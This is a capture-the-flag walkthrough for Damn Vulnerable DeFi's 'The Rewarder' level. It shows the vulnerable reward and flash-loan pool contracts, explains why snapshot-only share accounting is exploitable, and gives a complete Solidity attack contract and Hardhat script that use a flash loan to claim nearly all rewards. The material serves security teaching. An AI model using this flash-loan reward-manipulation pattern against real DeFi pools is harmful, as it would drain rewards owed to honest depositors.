Damn Vulnerable DeFi | 5 - The Rewarder
Goals
In the The Rewarder challenge, we have to claim all the rewards from the next distribution round, despite having no DVT tokens. A hint points us at a new flashloan pool...
The Contracts
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/FixedPointMathLib.sol";
import "solady/src/utils/SafeTransferLib.sol";
import {RewardToken} from "./RewardToken.sol";
import {AccountingToken} from "./AccountingToken.sol";
/**
* @title TheRewarderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TheRewarderPool {
using FixedPointMathLib for uint256;
// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
uint256 public constant REWARDS = 100 ether;
// Token deposited into the pool by users
address public immutable liquidityToken;
// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public immutable accountingToken;
// Token in which rewards are issued
RewardToken public immutable rewardToken;
uint128 public lastSnapshotIdForRewards;
uint64 public lastRecordedSnapshotTimestamp;
uint64 public roundNumber; // Track number of rounds
mapping(address => uint64) public lastRewardTimestamps;
error InvalidDepositAmount();
constructor(address _token) {
// Assuming all tokens have 18 decimals
liquidityToken = _token;
accountingToken = new AccountingToken();
rewardToken = new RewardToken();
_recordSnapshot();
}
/**
* @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange.
* Also distributes rewards if available.
* @param amount amount of tokens to be deposited
*/
function deposit(uint256 amount) external {
if (amount == 0) {
revert InvalidDepositAmount();
}
accountingToken.mint(msg.sender, amount);
distributeRewards();
SafeTransferLib.safeTransferFrom(
liquidityToken,
msg.sender,
address(this),
amount
);
}
function withdraw(uint256 amount) external {
accountingToken.burn(msg.sender, amount);
SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount);
}
function distributeRewards() public returns (uint256 rewards) {
if (isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accountingToken.totalSupplyAt(
lastSnapshotIdForRewards
);
uint256 amountDeposited = accountingToken.balanceOfAt(
msg.sender,
lastSnapshotIdForRewards
);
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}
function _recordSnapshot() private {
lastSnapshotIdForRewards = uint128(accountingToken.snapshot());
lastRecordedSnapshotTimestamp = uint64(block.timestamp);
unchecked {
++roundNumber;
}
}
function _hasRetrievedReward(address account) private view returns (bool) {
return (lastRewardTimestamps[account] >=
lastRecordedSnapshotTimestamp &&
lastRewardTimestamps[account] <=
lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION);
}
function isNewRewardsRound() public view returns (bool) {
return
block.timestamp >=
lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";
/**
* @title FlashLoanerPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
* @dev A simple pool to get flashloans of DVT
*/
contract FlashLoanerPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable liquidityToken;
error NotEnoughTokenBalance();
error CallerIsNotContract();
error FlashLoanNotPaidBack();
constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
if (amount > balanceBefore) {
revert NotEnoughTokenBalance();
}
if (!msg.sender.isContract()) {
revert CallerIsNotContract();
}
liquidityToken.transfer(msg.sender, amount);
msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount));
if (liquidityToken.balanceOf(address(this)) < balanceBefore) {
revert FlashLoanNotPaidBack();
}
}
}
The
TheRewarderPool
is the contract to exploit. It emits rewards every 5 days based on your liquidity shares (the more shares, the more rewards).The
FlashLoanerPool
allows us to take a flashloan of DVT token (sounds like what we need!) and uses thereceiveFlashLoan
as a callback after transferring the token to the receiver.
On top of that, we also have the two following token contracts:
AccountingToken
is a limited pseudo-ERC20 token to keep track of deposits and withdrawals with snapshot capabilities.RewardToken
is a classic ERC20 token emitted as a rewards. Its mint function inherits from theonlyRoles
modifier from the Solady library.
The Hack
This solution is fairly easy in The Rewarder, but it requires to understand and handle two things separately:
Understand how the
distributeRewards()
function works, and why it is bad!Keep track of time spent, so we can act at a very specific time.
1. Exploiting the distributeRewards()
function
Let's explore this function a bit more.
function distributeRewards() public returns (uint256 rewards) {
if (isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accountingToken.totalSupplyAt(
lastSnapshotIdForRewards
);
uint256 amountDeposited = accountingToken.balanceOfAt(
msg.sender,
lastSnapshotIdForRewards
);
if (amountDeposited > 0 && totalDeposits > 0) {
rewards = amountDeposited.mulDiv(REWARDS, totalDeposits);
if (rewards > 0 && !_hasRetrievedReward(msg.sender)) {
rewardToken.mint(msg.sender, rewards);
lastRewardTimestamps[msg.sender] = uint64(block.timestamp);
}
}
}
There are two issues in this function, which will allow us to cheat on the next distribution. Can you see them?
The first problem lies at the very beginning of the function:
if (isNewRewardsRound()) {
_recordSnapshot();
}
This means that, after the 5-days period is over, the first user that will request a rewards distribution will also trigger the snapshot for this entire 5-days period. So what if we trigger the distributeRewards()
function ourselves? Even though the period is over, we could still craft an attack to deposit some tokens triggering the distribution a the same time (the distributeRewards()
is called in the deposit()
function), and get some rewards! While this is not ideal, it wouldn't be such a big issue if it wasn't combine with the second problem...
The second problem is the shares calculation itself.
uint256 totalDeposits = accountingToken.totalSupplyAt(
lastSnapshotIdForRewards
);
uint256 amountDeposited = accountingToken.balanceOfAt(
msg.sender,
lastSnapshotIdForRewards
);
The shares should take into account the amount of time the token have been deposited for, and not only the amount of tokens. This is a well known issue in DeFi. Without accounting for deposit duration, you expose yourself (and your users) to shares manipulation, like the one we are about to do :)
So, thanks to those 2 issues combined, we will be able to take the biggest possible flashloan of DVT tokens, deposit them into the pool, trigger the rewards distribution, cash out almost all rewards to ourselves, withdraw the tokens and finally, repay the loan! Easy Peasy!
2. Keeping track of the time
We know that the TheRewarderPool
is distributing rewards every 5 days. In order to execute our attack, we will have to act as soon as the current period is over, to make sure that we are the first user to call the distributeRewards()
function.
If we check the deployment file provided in the test
folder (the-rewarder-challenge.js
), we can see that the previous distribution just happened:
// ...
// Advance time 5 days so that depositors can get rewards
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
// Each depositor gets reward tokens
let rewardsInRound = await rewarderPool.REWARDS();
for (let i = 0; i < users.length; i++) {
await rewarderPool.connect(users[i]).distributeRewards();
expect(await rewardToken.balanceOf(users[i].address)).to.be.eq(
rewardsInRound.div(users.length)
);
}
// ...
So we will need to act at the next round of distributions in exactly 5 days.
Since this is not a "real scenario" on the mainnet, we can take advantage of the helper function evm_increaseTime
provided by hardhat. This will allow us to launch our attack exactly when needed.
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
Solution
Now that we know exactly what to do , let's implement the malicious contract that will allow us to exploit The Rewarder challenge.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IRewardPool {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function distributeRewards() external returns (uint256 rewards);
function isNewRewardsRound() external view returns (bool);
}
interface IFlashLoanPool {
function flashLoan(uint256 amount) external;
}
contract Attack5 {
IFlashLoanPool private immutable flashLoanPool;
IRewardPool private immutable rewardPool;
IERC20 public immutable liquidityToken;
IERC20 public immutable rewardToken;
address private immutable player;
constructor(
address _flashLoanPool,
address _rewardPool,
address _liquidityToken,
address _rewardToken,
address _player
) {
flashLoanPool = IFlashLoanPool(_flashLoanPool);
rewardPool = IRewardPool(_rewardPool);
liquidityToken = IERC20(_liquidityToken);
rewardToken = IERC20(_rewardToken);
player = _player;
}
function attack() external {
uint256 amount = liquidityToken.balanceOf(address(flashLoanPool));
flashLoanPool.flashLoan(amount);
// Withdraw rewards
uint256 rewards = rewardToken.balanceOf(address(this));
rewardToken.transfer(player, rewards);
}
function receiveFlashLoan(uint256 amount) external {
// Approve and Deposit
liquidityToken.approve(address(rewardPool), amount);
rewardPool.deposit(amount);
// Withdraw and Repay loan
rewardPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanPool), amount);
}
}
Here are all the steps in the correct order:
Request a flashloan of the maximum amount;
In the callback function, approve the liquidityToken;
Then, deposit the whole amount into the pool (triggering the
distributeRewards()
function!);Withdraw the tokens from the pool;
Repay the loan;
Transfer the tokens from the malicious contract to the player;
Next, we have to edit the the-rewarder.challenge.js
page so it can handle the execution for us:
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
const fiveDaysTime = 5 * 24 * 60 * 60;
await time.increase(fiveDaysTime);
const isNewRewardRound = await rewarderPool.isNewRewardsRound();
console.log("isNewRewardRound?", isNewRewardRound);
const Attack5 = await ethers.getContractFactory("Attack5", deployer);
const attack5 = await Attack5.deploy(
flashLoanPool.address,
rewarderPool.address,
liquidityToken.address,
rewardToken.address,
player.address
);
await attack5.attack();
});
Finally, we can run the test with the following command:
yarn the-rewarder
And we get the following printed in the terminal:
Congrats! You just beat the level 5 - The Rewarder - of Damn Vulnerable DeFi.
๐ Level completed ๐
Takeaway
Always account for time duration when calculating shares.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions
Subscribe to my newsletter
Read articles from Pierre E. directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by